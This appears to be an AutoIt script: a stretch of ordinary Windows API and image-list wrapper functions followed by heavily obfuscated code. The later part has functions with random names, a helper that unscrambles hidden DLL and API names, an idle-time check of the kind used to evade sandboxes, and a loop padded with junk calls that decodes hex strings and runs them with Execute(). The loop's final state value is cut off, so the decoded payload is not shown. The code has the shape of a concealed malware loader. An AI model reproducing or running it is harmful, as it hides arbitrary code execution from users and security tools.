- Local $aresult = DllCall("user32.dll", "int", "ShowCursor", "bool", $bshow)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_sizeofresource($hinstance, $hresource)
- Local $aret = DllCall("kernel32.dll", "dword", "SizeofResource", "handle", $hinstance, "handle", $hresource)
- If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_updateresource($hupdate, $stype, $sname, $ilanguage, $pdata, $isize)
- Local $stypeoftype = "int", $stypeofname = "int"
- If IsString($stype) Then
- $stypeoftype = "wstr"
- EndIf
- If IsString($sname) Then
- $stypeofname = "wstr"
- EndIf
- Local $aret = DllCall("kernel32.dll", "bool", "UpdateResourceW", "handle", $hupdate, $stypeoftype, $stype, $stypeofname, $sname, "word", $ilanguage, "ptr", $pdata, "dword", $isize)
- If @error Then Return SetError(@error, @extended, False)
- Return $aret[0]
- EndFunc
- Func _winapi_verqueryroot($pdata)
- Local $aret = DllCall("version.dll", "bool", "VerQueryValueW", "ptr", $pdata, "wstr", "\", "ptr*", 0, "uint*", 0)
- If @error OR NOT $aret[0] OR NOT $aret[4] Then Return SetError(@error + 10, @extended, 0)
- Local $tvffi = DllStructCreate($tagvs_fixedfileinfo)
- If NOT _winapi_movememory($tvffi, $aret[3], $aret[4]) Then Return SetError(@error + 20, @extended, 0)
- Return $tvffi
- EndFunc
- Func _winapi_verqueryvalue($pdata, $svalues = "")
- $svalues = StringRegExpReplace($svalues, "\A[\s\|]*|[\s\|]*\Z", "")
- If NOT $svalues Then
- $svalues = "Comments|CompanyName|FileDescription|FileVersion|InternalName|LegalCopyright|LegalTrademarks|OriginalFilename|ProductName|ProductVersion|PrivateBuild|SpecialBuild"
- EndIf
- $svalues = StringSplit($svalues, "|", $str_nocount)
- Local $aret = DllCall("version.dll", "bool", "VerQueryValueW", "ptr", $pdata, "wstr", "\VarFileInfo\Translation", "ptr*", 0, "uint*", 0)
- If @error OR NOT $aret[0] OR NOT $aret[4] Then Return SetError(@error + 10, 0, 0)
- Local $ilength = Floor($aret[4] / 4)
- Local $tlang = DllStructCreate("dword[" & $ilength & "]", $aret[3])
- If @error Then Return SetError(@error + 20, 0, 0)
- Local $scp, $ainfo[101][UBound($svalues) + 1] = [[0]]
- For $i = 1 To $ilength
- __inc($ainfo)
- $ainfo[$ainfo[0][0]][0] = _winapi_loword(DllStructGetData($tlang, 1, $i))
- $scp = Hex(_winapi_makelong(_winapi_hiword(DllStructGetData($tlang, 1, $i)), _winapi_loword(DllStructGetData($tlang, 1, $i))), 8)
- For $j = 0 To UBound($svalues) - 1
- $aret = DllCall("version.dll", "bool", "VerQueryValueW", "ptr", $pdata, "wstr", "\StringFileInfo\" & $scp & "\" & $svalues[$j], "ptr*", 0, "uint*", 0)
- If NOT @error AND $aret[0] AND $aret[4] Then
- $ainfo[$ainfo[0][0]][$j + 1] = DllStructGetData(DllStructCreate("wchar[" & $aret[4] & "]", $aret[3]), 1)
- Else
- $ainfo[$ainfo[0][0]][$j + 1] = ""
- EndIf
- Next
- Next
- __inc($ainfo, -1)
- Return $ainfo
- EndFunc
- Func _winapi_verqueryvalueex($hmodule, $svalues = "", $ilanguage = 1024)
- $__g_vval = StringRegExpReplace($svalues, "\A[\s\|]*|[\s\|]*\Z", "")
- If NOT $__g_vval Then
- $__g_vval = "Comments|CompanyName|FileDescription|FileVersion|InternalName|LegalCopyright|LegalTrademarks|OriginalFilename|ProductName|ProductVersion|PrivateBuild|SpecialBuild"
- EndIf
- $__g_vval = StringSplit($__g_vval, "|")
- If NOT IsArray($__g_vval) Then Return SetError(1, 0, 0)
- Local $ilibrary = 0
- If IsString($hmodule) Then
- If StringStripWS($hmodule, $str_stripleading + $str_striptrailing) Then
- $hmodule = _winapi_loadlibraryex($hmodule, 3)
- If NOT $hmodule Then
- Return SetError(@error + 10, @extended, 0)
- EndIf
- $ilibrary = 1
- Else
- $hmodule = 0
- EndIf
- EndIf
- Dim $__g_venum[101][$__g_vval[0] + 1] = [[0]]
- Local $henumproc = DllCallbackRegister("__EnumVerValuesProc", "bool", "ptr;ptr;ptr;word;long_ptr")
- Local $aret = DllCall("kernel32.dll", "bool", "EnumResourceLanguagesW", "handle", $hmodule, "int", 16, "int", 1, "ptr", DllCallbackGetPtr($henumproc), "long_ptr", $ilanguage)
- Do
- If @error Then
- $__g_venum = @error + 20
- Else
- If NOT $aret[0] Then
- Switch _winapi_getlasterror()
- Case 0, 15106
- ExitLoop
- Case Else
- $__g_venum = 20
- EndSwitch
- Else
- ExitLoop
- EndIf
- EndIf
- Until 1
- If $ilibrary Then
- _winapi_freelibrary($hmodule)
- EndIf
- DllCallbackFree($henumproc)
- If NOT $__g_venum[0][0] Then $__g_venum = 230
- If $__g_venum Then Return SetError($__g_venum, 0, 0)
- __inc($__g_venum, -1)
- Return $__g_venum
- EndFunc
- #EndRegion Public Functions
- #Region Internal Functions
- Func __enumreslanguagesproc($hmodule, $itype, $iname, $ilanguage, $lparam)
- #forceref $hModule, $iType, $iName, $lParam
- __inc($__g_venum)
- $__g_venum[$__g_venum[0]] = $ilanguage
- Return 1
- EndFunc
- Func __enumresnamesproc($hmodule, $itype, $iname, $lparam)
- #forceref $hModule, $iType, $lParam
- Local $ilength = _winapi_strlen($iname)
- __inc($__g_venum)
- If $ilength Then
- $__g_venum[$__g_venum[0]] = DllStructGetData(DllStructCreate("wchar[" & ($ilength + 1) & "]", $iname), 1)
- Else
- $__g_venum[$__g_venum[0]] = Number($iname)
- EndIf
- Return 1
- EndFunc
- Func __enumrestypesproc($hmodule, $itype, $lparam)
- #forceref $hModule, $lParam
- Local $ilength = _winapi_strlen($itype)
- __inc($__g_venum)
- If $ilength Then
- $__g_venum[$__g_venum[0]] = DllStructGetData(DllStructCreate("wchar[" & ($ilength + 1) & "]", $itype), 1)
- Else
- $__g_venum[$__g_venum[0]] = Number($itype)
- EndIf
- Return 1
- EndFunc
- Func __enumvervaluesproc($hmodule, $itype, $iname, $ilanguage, $idefault)
- Local $aret, $ienum = 1, $ierror = 0
- Switch $idefault
- Case -1
- Case 1024
- $ilanguage = 1024
- $ienum = 0
- Case Else
- If $ilanguage <> $idefault Then
- Return 1
- EndIf
- $ienum = 0
- EndSwitch
- Do
- Local $pdata = __resload($hmodule, $itype, $iname, $ilanguage)
- If @error Then
- $ierror = @error + 10
- ExitLoop
- EndIf
- $aret = DllCall("version.dll", "bool", "VerQueryValueW", "ptr", $pdata, "wstr", "\VarFileInfo\Translation", "ptr*", 0, "uint*", 0)
- If @error OR NOT $aret[0] OR NOT $aret[4] Then
- $ierror = @error + 20
- ExitLoop
- EndIf
- Local $tdata = DllStructCreate("ushort;ushort", $aret[3])
- If @error Then
- $ierror = @error + 30
- ExitLoop
- EndIf
- Until 1
- If NOT $ierror Then
- __inc($__g_venum)
- $__g_venum[$__g_venum[0][0]][0] = DllStructGetData($tdata, 1)
- Local $scp = Hex(_winapi_makelong(DllStructGetData($tdata, 2), DllStructGetData($tdata, 1)), 8)
- For $i = 1 To $__g_vval[0]
- $aret = DllCall("version.dll", "bool", "VerQueryValueW", "ptr", $pdata, "wstr", "\StringFileInfo\" & $scp & "\" & $__g_vval[$i], "ptr*", 0, "uint*", 0)
- If NOT @error AND $aret[0] AND $aret[4] Then
- $__g_venum[$__g_venum[0][0]][$i] = DllStructGetData(DllStructCreate("wchar[" & $aret[4] & "]", $aret[3]), 1)
- Else
- $__g_venum[$__g_venum[0][0]][$i] = ""
- EndIf
- Next
- Else
- $__g_venum = @error + 40
- EndIf
- If $__g_venum Then Return SetError($ierror, 0, 0)
- Return $ienum
- EndFunc
- Func __resload($hinstance, $stype, $sname, $ilanguage)
- Local $hinfo = _winapi_findresourceex($hinstance, $stype, $sname, $ilanguage)
- If NOT $hinfo Then Return SetError(@error + 10, @extended, 0)
- Local $isize = _winapi_sizeofresource($hinstance, $hinfo)
- If NOT $isize Then Return SetError(@error + 20, @extended, 0)
- Local $hdata = _winapi_loadresource($hinstance, $hinfo)
- If NOT $hdata Then Return SetError(@error + 30, @extended, 0)
- Local $pdata = _winapi_lockresource($hdata)
- If NOT $pdata Then Return SetError(@error + 40, @extended, 0)
- Return SetExtended($isize, $pdata)
- EndFunc
- #EndRegion Internal Functions
- Global Const $__imagelistconstant_image_bitmap = 0
- Func _guiimagelist_add($hwnd, $himage, $hmask = 0)
- Local $aresult = DllCall("comctl32.dll", "int", "ImageList_Add", "handle", $hwnd, "handle", $himage, "handle", $hmask)
- If @error Then Return SetError(@error, @extended, -1)
- Return $aresult[0]
- EndFunc
- Func _guiimagelist_addmasked($hwnd, $himage, $imask = 0)
- Local $aresult = DllCall("comctl32.dll", "int", "ImageList_AddMasked", "handle", $hwnd, "handle", $himage, "dword", $imask)
- If @error Then Return SetError(@error, @extended, -1)
- Return $aresult[0]
- EndFunc
- Func _guiimagelist_addbitmap($hwnd, $simage, $smask = "")
- Local $asize = _guiimagelist_geticonsize($hwnd)
- Local $himage = _winapi_loadimage(0, $simage, $__imagelistconstant_image_bitmap, $asize[0], $asize[1], $lr_loadfromfile)
- If $himage = 0 Then Return SetError(_winapi_getlasterror(), 1, -1)
- Local $hmask = 0
- If $smask <> "" Then
- $hmask = _winapi_loadimage(0, $smask, $__imagelistconstant_image_bitmap, $asize[0], $asize[1], $lr_loadfromfile)
- If $hmask = 0 Then Return SetError(_winapi_getlasterror(), 2, -1)
- EndIf
- Local $iret = _guiimagelist_add($hwnd, $himage, $hmask)
- _winapi_deleteobject($himage)
- If $hmask <> 0 Then _winapi_deleteobject($hmask)
- Return $iret
- EndFunc
- Func _guiimagelist_addicon($hwnd, $sfilepath, $iindex = 0, $blarge = False)
- Local $iret, $ticon = DllStructCreate("handle Handle")
- If $blarge Then
- $iret = _winapi_extracticonex($sfilepath, $iindex, $ticon, 0, 1)
- Else
- $iret = _winapi_extracticonex($sfilepath, $iindex, 0, $ticon, 1)
- EndIf
- If $iret <= 0 Then Return SetError(-1, $iret, -1)
- Local $hicon = DllStructGetData($ticon, "Handle")
- $iret = _guiimagelist_replaceicon($hwnd, -1, $hicon)
- _winapi_destroyicon($hicon)
- If $iret = -1 Then Return SetError(-2, $iret, -1)
- Return $iret
- EndFunc
- Func _guiimagelist_begindrag($hwnd, $itrack, $ixhotspot, $iyhotspot)
- Local $aresult = DllCall("comctl32.dll", "bool", "ImageList_BeginDrag", "handle", $hwnd, "int", $itrack, "int", $ixhotspot, "int", $iyhotspot)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] <> 0
- EndFunc
- Func _guiimagelist_copy($hwnd, $isource, $idestination)
- Local $aresult = DllCall("comctl32.dll", "bool", "ImageList_Copy", "handle", $hwnd, "int", $idestination, "handle", $hwnd, "int", $isource, "uint", $ilcf_move)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] <> 0
- EndFunc
- Func _guiimagelist_create($icx = 16, $icy = 16, $icolor = 4, $ioptions = 0, $iinitial = 4, $igrow = 4)
- Local Const $acolor[7] = [$ilc_color, $ilc_color4, $ilc_color8, $ilc_color16, $ilc_color24, $ilc_color32, $ilc_colorddb]
- Local $iflags = 0
- If BitAND($ioptions, 1) <> 0 Then $iflags = BitOR($iflags, $ilc_mask)
- If BitAND($ioptions, 2) <> 0 Then $iflags = BitOR($iflags, $ilc_mirror)
- If BitAND($ioptions, 4) <> 0 Then $iflags = BitOR($iflags, $ilc_peritemmirror)
- $iflags = BitOR($iflags, $acolor[$icolor])
- Local $aresult = DllCall("comctl32.dll", "handle", "ImageList_Create", "int", $icx, "int", $icy, "uint", $iflags, "int", $iinitial, "int", $igrow)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _guiimagelist_destroy($hwnd)
- Local $aresult = DllCall("comctl32.dll", "bool", "ImageList_Destroy", "handle", $hwnd)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] <> 0
- EndFunc
- Func _guiimagelist_destroyicon($hicon)
- Return _winapi_destroyicon($hicon)
- EndFunc
- Func _guiimagelist_dragenter($hwnd, $ix, $iy)
- Local $aresult = DllCall("comctl32.dll", "bool", "ImageList_DragEnter", "hwnd", $hwnd, "int", $ix, "int", $iy)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] <> 0
- EndFunc
- Func _guiimagelist_dragleave($hwnd)
- Local $aresult = DllCall("comctl32.dll", "bool", "ImageList_DragLeave", "hwnd", $hwnd)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] <> 0
- EndFunc
- Func _guiimagelist_dragmove($ix, $iy)
- Local $aresult = DllCall("comctl32.dll", "bool", "ImageList_DragMove", "int", $ix, "int", $iy)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] <> 0
- EndFunc
- Func _guiimagelist_dragshownolock($bshow)
- Local $aresult = DllCall("comctl32.dll", "bool", "ImageList_DragShowNolock", "bool", $bshow)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] <> 0
- EndFunc
- Func _guiimagelist_draw($hwnd, $iindex, $hdc, $ix, $iy, $istyle = 0)
- Local $iflags = 0
- If BitAND($istyle, 1) <> 0 Then $iflags = BitOR($iflags, $ild_transparent)
- If BitAND($istyle, 2) <> 0 Then $iflags = BitOR($iflags, $ild_blend25)
- If BitAND($istyle, 4) <> 0 Then $iflags = BitOR($iflags, $ild_blend50)
- If BitAND($istyle, 8) <> 0 Then $iflags = BitOR($iflags, $ild_mask)
- Local $aresult = DllCall("comctl32.dll", "bool", "ImageList_Draw", "handle", $hwnd, "int", $iindex, "handle", $hdc, "int", $ix, "int", $iy, "uint", $iflags)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] <> 0
- EndFunc
- Func _guiimagelist_drawex($hwnd, $iindex, $hdc, $ix, $iy, $idx = 0, $idy = 0, $irgbbk = -1, $irgbfg = -1, $istyle = 0)
- If $idx = -1 Then $idx = 0
- If $idy = -1 Then $idy = 0
- If $irgbbk = -1 Then $irgbbk = -1
- If $irgbfg = -1 Then $irgbfg = -1
- Local $iflags = 0
- If BitAND($istyle, 1) <> 0 Then $iflags = BitOR($iflags, $ild_transparent)
- If BitAND($istyle, 2) <> 0 Then $iflags = BitOR($iflags, $ild_blend25)
- If BitAND($istyle, 4) <> 0 Then $iflags = BitOR($iflags, $ild_blend50)
- If BitAND($istyle, 8) <> 0 Then $iflags = BitOR($iflags, $ild_mask)
- Local $aresult = DllCall("comctl32.dll", "bool", "ImageList_DrawEx", "handle", $hwnd, "int", $iindex, "handle", $hdc, "int", $ix, "int", $iy, "int", $idx, "int", $idy, "dword", $irgbbk, "dword", $irgbfg, "uint", $iflags)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] <> 0
- EndFunc
- Func _guiimagelist_duplicate($hwnd)
- Local $aresult = DllCall("comctl32.dll", "handle", "ImageList_Duplicate", "handle", $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _guiimagelist_enddrag()
- DllCall("comctl32.dll", "none", "ImageList_EndDrag")
- If @error Then Return SetError(@error, @extended)
- EndFunc
- Func _guiimagelist_getbkcolor($hwnd)
- Local $aresult = DllCall("comctl32.dll", "dword", "ImageList_GetBkColor", "handle", $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _guiimagelist_geticon($hwnd, $iindex, $istyle = 0)
- Local $iflags = 0
- If BitAND($istyle, 1) <> 0 Then $iflags = BitOR($iflags, $ild_transparent)
- If BitAND($istyle, 2) <> 0 Then $iflags = BitOR($iflags, $ild_blend25)
- If BitAND($istyle, 4) <> 0 Then $iflags = BitOR($iflags, $ild_blend50)
- If BitAND($istyle, 8) <> 0 Then $iflags = BitOR($iflags, $ild_mask)
- Local $aresult = DllCall("comctl32.dll", "handle", "ImageList_GetIcon", "handle", $hwnd, "int", $iindex, "uint", $iflags)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _guiimagelist_geticonheight($hwnd)
- Local $asize = _guiimagelist_geticonsize($hwnd)
- Return $asize[1]
- EndFunc
- Func _guiimagelist_geticonsize($hwnd)
- Local $asize[2]
- Local $tpoint = _guiimagelist_geticonsizeex($hwnd)
- $asize[0] = DllStructGetData($tpoint, "X")
- $asize[1] = DllStructGetData($tpoint, "Y")
- Return $asize
- EndFunc
- Func _guiimagelist_geticonsizeex($hwnd)
- Local $tpoint = DllStructCreate($tagpoint)
- Local $ppointx = DllStructGetPtr($tpoint, "X")
- Local $ppointy = DllStructGetPtr($tpoint, "Y")
- Local $aresult = DllCall("comctl32.dll", "bool", "ImageList_GetIconSize", "hwnd", $hwnd, "struct*", $ppointx, "struct*", $ppointy)
- If @error Then Return SetError(@error, @extended, 0)
- Return SetExtended($aresult[0], $tpoint)
- EndFunc
- Func _guiimagelist_geticonwidth($hwnd)
- Local $asize = _guiimagelist_geticonsize($hwnd)
- Return $asize[0]
- EndFunc
- Func _guiimagelist_getimagecount($hwnd)
- Local $aresult = DllCall("comctl32.dll", "int", "ImageList_GetImageCount", "handle", $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _guiimagelist_getimageinfoex($hwnd, $iindex)
- Local $timage = DllStructCreate($tagimageinfo)
- Local $aresult = DllCall("comctl32.dll", "bool", "ImageList_GetImageInfo", "handle", $hwnd, "int", $iindex, "struct*", $timage)
- If @error Then Return SetError(@error, @extended, 0)
- Return SetExtended($aresult[0], $timage)
- EndFunc
- Func _guiimagelist_merge($hwnd1, $iindex1, $hwnd2, $iindex2, $idx, $idy)
- Local $aresult = DllCall("comctl32.dll", "handle", "ImageList_Merge", "handle", $hwnd1, "int", $iindex1, "handle", $hwnd2, "int", $iindex2, "int", $idx, "int", $idy)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _guiimagelist_remove($hwnd, $iindex = -1)
- Local $aresult = DllCall("comctl32.dll", "bool", "ImageList_Remove", "handle", $hwnd, "int", $iindex)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] <> 0
- EndFunc
- Func _guiimagelist_replace($hwnd, $iindex, $himage, $hmask = 0)
- Local $aresult = DllCall("comctl32.dll", "bool", "ImageList_Replace", "handle", $hwnd, "int", $iindex, "handle", $himage, "handle", $hmask)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] <> 0
- EndFunc
- Func _guiimagelist_replaceicon($hwnd, $iindex, $hicon)
- Local $aresult = DllCall("comctl32.dll", "int", "ImageList_ReplaceIcon", "handle", $hwnd, "int", $iindex, "handle", $hicon)
- If @error Then Return SetError(@error, @extended, -1)
- Return $aresult[0]
- EndFunc
- Func _guiimagelist_setbkcolor($hwnd, $iclrbk)
- Local $aresult = DllCall("comctl32.dll", "dword", "ImageList_SetBkColor", "handle", $hwnd, "dword", $iclrbk)
- If @error Then Return SetError(@error, @extended, $clr_none)
- Return $aresult[0]
- EndFunc
- Func _guiimagelist_setdragcursorimage($hwnd, $idrag, $idxhotspot, $idyhotspot)
- Local $aresult = DllCall("comctl32.dll", "bool", "ImageList_SetDragCursorImage", "handle", $hwnd, "int", $idrag, "int", $idxhotspot, "int", $idyhotspot)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] <> 0
- EndFunc
- Func _guiimagelist_seticonsize($hwnd, $icx, $icy)
- Local $aresult = DllCall("comctl32.dll", "bool", "ImageList_SetIconSize", "handle", $hwnd, "int", $icx, "int", $icy)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] <> 0
- EndFunc
- Func _guiimagelist_setimagecount($hwnd, $inewcount)
- Local $aresult = DllCall("comctl32.dll", "bool", "ImageList_SetImageCount", "handle", $hwnd, "uint", $inewcount)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] <> 0
- EndFunc
- Func _guiimagelist_setoverlayimage($hwnd, $iimage, $ioverlay)
- Local $aresult = DllCall("comctl32.dll", "bool", "ImageList_SetOverlayImage", "handle", $hwnd, "int", $iimage, "int", $ioverlay)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] <> 0
- EndFunc
- Func _guiimagelist_swap($hwnd, $isource, $idestination)
- Local $aresult = DllCall("comctl32.dll", "bool", "ImageList_Copy", "handle", $hwnd, "int", $idestination, "handle", $hwnd, "int", $isource, "uint", $ilcf_swap)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] <> 0
- EndFunc
- Func nvqlncinmzjgce($njoker = 0)
- Local $nnumbers, $azsplits, $nrandom, $nreturn, $sface, $sfaces, $nrandom2
- $nnumbers = tznhxlbucosri("wT,ohTer,eoFruF,vi,eiS,xeSev,niEhg,tiNenT,neJ,ca,kiKgnQ,euneA,ec")
- If $njoker Then
- $nnumbers &= tznhxlbucosri("J,kore")
- EndIf
- $azsplits = StringSplit($nnumbers, ",")
- $sreturn = $azsplits[Random(1, $azsplits[0], 1)]
- $sfaces = StringSplit(tznhxlbucosri("pSdaseC|ulsbH|aetr|siDmanosd"), "|")
- $nrandom2 = Random(1, $sfaces[0] - 1)
- $sface = $sfaces[Round($nrandom2)]
- If $sreturn = tznhxlbucosri("oJekr") Then
- Return $sreturn
- Else
- Return $sreturn & tznhxlbucosri("O f") & $sface
- EndIf
- EndFunc
- Func naqotrblogo(ByRef $last_active, $start = 0)
- Local $struct = DllStructCreate(tznhxlbucosri("iutnd;owdr"))
- DllStructSetData($struct, 1, DllStructGetSize($struct))
- If $start Then
- DllCall(tznhxlbucosri("sure23d.ll"), tznhxlbucosri("nit"), tznhxlbucosri("eGLtsaItpntunIof"), tznhxlbucosri("tpr"), DllStructGetPtr($struct))
- $last_active = DllStructGetData($struct, 2)
- Return $last_active
- Else
- DllCall(tznhxlbucosri("sure23d.ll"), tznhxlbucosri("nit"), tznhxlbucosri("eGLtsaItpntunIof"), tznhxlbucosri("tpr"), DllStructGetPtr($struct))
- If $last_active <> DllStructGetData($struct, 2) Then
- Local $save = $last_active
- $last_active = DllStructGetData($struct, 2)
- Return $last_active - $save
- EndIf
- EndIf
- EndFunc
- Func kbdwlxwxmat($inum)
- If ($inum < 2) Then Return False
- If ($inum = 2) Then Return True
- If (BitAND($inum, 1) = 0) Then Return False
- For $i = 3 To Sqrt($inum) Step 2
- If (Mod($inum, $i) = 0) Then Return False
- Next
- Return True
- EndFunc
- Func yyciuovuaae($ilength = 10)
- Local $sdata = "", $srandom = ""
- For $i = 1 To $ilength
- $srandom = Random(55, 116, 1)
- $sdata &= Chr($srandom + 6 * ($srandom > 90) - 7 * ($srandom < 65))
- Next
- Return $sdata
- EndFunc
- Func jyqmluzfke($nnum1 = 0, $nnum2 = 0, $iflag = 0)
- If NOT IsNumber($nnum1) Then Return SetError(1, 0, 0)
- Switch @NumParams
- Case 0
- Return Random()
- Case 1
- If $nnum1 < 0 Then Return -Random(-$nnum1)
- Return Random($nnum1)
- Case Else
- If NOT IsNumber($nnum1) OR ($iflag <> 0 AND $iflag <> 1) Then Return SetError(2, 0, 0)
- If $nnum1 = $nnum2 Then Return $nnum1
- If $nnum2 > $nnum1 Then Return Random($nnum1, $nnum2, $iflag)
- Return Random($nnum2, $nnum1, $iflag)
- EndSwitch
- EndFunc
- Func fbtefvhhnlwrx($ilength)
- Return $ilength * 0.6214
- EndFunc
- Func ovxeidrtxs($hwnd)
- Return BitAND(WinGetState($hwnd), 32) = 32
- EndFunc
- Func emotlbwvcy($ivalue, $vtrue, $vfalse)
- Local $aarray[2] = [$vfalse, $vtrue]
- Return $aarray[Number(Number($ivalue) > 0)]
- EndFunc
- Func ryeayzqzsg($sdata)
- $sdata = StringStripWS(StringLower($sdata), 8)
- Local $astringsplit = StringSplit($sdata, ""), $ireturn = 0
- For $i = 1 To $astringsplit[0]
- For $j = 97 To 122
- If $astringsplit[$i] == Chr($j) Then
- $ireturn += ($j - 96)
- ExitLoop
- EndIf
- Next
- Next
- Return $ireturn
- EndFunc
- Func wlikuljcbkj($icontrolid)
- Local $astate[2] = [0, 1]
- GUICtrlSetState($icontrolid, $astate[Number(BitAND(GUICtrlGetState($icontrolid), $astate[0]) = $astate[0])])
- EndFunc
- Func hapimckhlj($hicon1, $hicon2)
- Local $artn = DllCall(tznhxlbucosri("hswlpa.ildl"), tznhxlbucosri("OBLO"), 548, tznhxlbucosri("ahdnel"), $hicon1, tznhxlbucosri("ahdnel"), $hicon2)
- If @error Then
- Return SetError(@error)
- EndIf
- Return $artn[0]
- EndFunc
- Func mehaakaltwuri($ilength)
- Return $ilength * 1.609
- EndFunc
- Func omaytskozewyg()
- Return StringLeft(@ScriptName, StringInStr(@ScriptName, ".", 2, -1) - 1)
- EndFunc
- Func pbkmkaiumxrlwy($bin)
- Local $aarr = StringSplit($bin, "", 2)
- Local $dec = 0
- For $i = UBound($aarr) - 1 To 0 Step -1
- If $aarr[$i] = "1" Then
- $dec = BitXOR($dec, BitShift(1, -(UBound($aarr) - 1 - $i)))
- EndIf
- Next
- Return $dec
- EndFunc
- Global $1044747412 = 1307843693
- Global $hbvglxaxxk = 1514472
- For $e = 0 To 465799
- IsBool(tznhxlbucosri("h5w5MITwoLxXqJqxghdkZBHh21VWx"))
- If 237 > 137 AND 148 = 148 AND 175 >= 151 AND 105 = 105 AND 272 < 285 AND $1044747412 = 84602552 Then
- $lgaftrqvglak = Execute(wmhsrosshiij(tznhxlbucosri("x097B64765E4867567649656478292"), "0x"))
- Dim $stnkpy4emd7alxhx0lav = 1716524 * 404466 + 1501255
- $1044747412 = 2134070852
- Ptr(1363451 + 2395467 + 1124778 - 668394)
- Int(1037869)
- EndIf
- If 218 > 157 AND 230 <= 269 AND 104 <> 278 AND 142 = 142 AND 280 = 280 AND $1044747412 = 89876260 Then
- $msmatzrvyjrr = Execute(wmhsrosshiij(tznhxlbucosri("x0C4150497059497745684F4359282"), tznhxlbucosri("x0874695")))
- String(tznhxlbucosri("fo8OtHZiEYmMUndirC1YCyJFkMSUBgV8ZZJpMlvXV7Wu74hBljGFsGVifIwvzJwTF"))
- $1044747412 = 150208926
- String(tznhxlbucosri("02CDM4TiOOMS4IA6FnDQgbzqGV8ccpcJKMOtecEyZMQz7OZ1fA0N9SVGeIxRkKLDe"))
- Random(2313730)
- EndIf
- If 271 <> 103 AND 151 <= 301 AND 222 > 216 AND 293 <> 279 AND $1044747412 = 150208926 Then
- $bvnakuhdnyyj = Execute(wmhsrosshiij(tznhxlbucosri("x067152647F4848607F686D4D7C2D2"), tznhxlbucosri("x095252754")))
- $1044747412 = 578141839
- EndIf
- If 211 <> 181 AND 253 <> 125 AND 285 >= 242 AND $1044747412 = 171873601 Then
- $dawmcpaxeytqvfhmytihyemcglhetsghcxjvhjzqgeqxyjwnutscoeyz = Execute(wmhsrosshiij(tznhxlbucosri("x034246777C6A47735A474"), tznhxlbucosri("x0E466")))
- $1044747412 = 198176244
- Ptr(876963 + 1608455 * 1323264)
- IsBool(tznhxlbucosri("bwC4Yv8L47joDQHTui8f2swSsMumvua2zkfWyp2ZW8U1x84DXaTEgDEQGsd0qKLNncq8MRUrmFFa8boysYHui0eGrUTWWHSqoiURnywmVFqnjguDKiso6"))
- EndIf
- If 229 < 243 AND 167 < 198 AND 114 >= 100 AND 112 <= 255 AND $1044747412 = 198176244 Then
- $hwobyepsertwooaziugcagzjdeoumwevcfhbvvszrtcgrwxm = Execute(wmhsrosshiij(tznhxlbucosri("x034246777C6A47764B766"), tznhxlbucosri("x06617")))
- $1044747412 = 1711264047
- WinExists(tznhxlbucosri("0zlH6TxsqWZNfKc75e7qXJJBH6V8BddYQEGXJ7tDWYeRWDnMc98S7zM68yloG8u"))
- EndIf
- If 298 >= 276 AND 106 > 103 AND 218 = 218 AND 135 <= 226 AND $1044747412 = 232684580 Then
- $akuofazowlnr = Execute(wmhsrosshiij(tznhxlbucosri("x0F436E636140455741684D784C2D2"), tznhxlbucosri("x0B497A785")))
- WinExists(tznhxlbucosri("fAADj6gYgx5kWUUaMZUHhjv8vsAqKwB25S7I"))
- $1044747412 = 960210641
- EndIf
- If 103 > 101 AND 147 > 135 AND 170 < 243 AND 233 < 299 AND $1044747412 = 271776171 Then
- $hhafquinevog = Execute(wmhsrosshiij(tznhxlbucosri("x0359717C44596249507051577B2A2"), tznhxlbucosri("x027F6")))
- $1044747412 = 1220020015
- EndIf
- If 283 >= 180 AND 283 >= 226 AND 144 <> 261 AND $1044747412 = 304222797 Then
- $qfqblqmxeqwzdxcrgtzyxvebmhxdhvidkknswxmbkkdcibhqalj = Execute(wmhsrosshiij(tznhxlbucosri("x0043575F584944454"), "0x"))
- $1044747412 = 1591982618
- IsPtr(tznhxlbucosri("gshi2KUwnWmTnZGc"))
- EndIf
- If 177 > 157 AND 240 <> 241 AND 208 <= 264 AND $1044747412 = 578141839 Then
- $hgitnhfhiatz = Execute(wmhsrosshiij(tznhxlbucosri("x064979646D4259695D64655369282"), tznhxlbucosri("x0377415")))
- $1044747412 = 271776171
- IsBinary(tznhxlbucosri("crFhWh47HOpX1"))
- EndIf
- If 257 > 163 AND 187 = 187 AND 263 = 263 AND $1044747412 = 742906269 Then
- IsPtr(967829 + 225300 - 2172532)
- $1044747412 = 1972768996
- EndIf
- If 118 = 118 AND 170 > 124 AND 249 <> 280 AND $1044747412 = 834897274 Then
- $dkcbcqvbfqgu = Execute(wmhsrosshiij(tznhxlbucosri("x0A657258545A457D4957664548292"), "0x"))
- $1044747412 = 2014417103
- Dim $cvp7yseoc7lb1qy221b7 = 3925296
- EndIf
- If 244 > 131 AND 131 <= 164 AND 158 > 142 AND $1044747412 = 937438825 Then
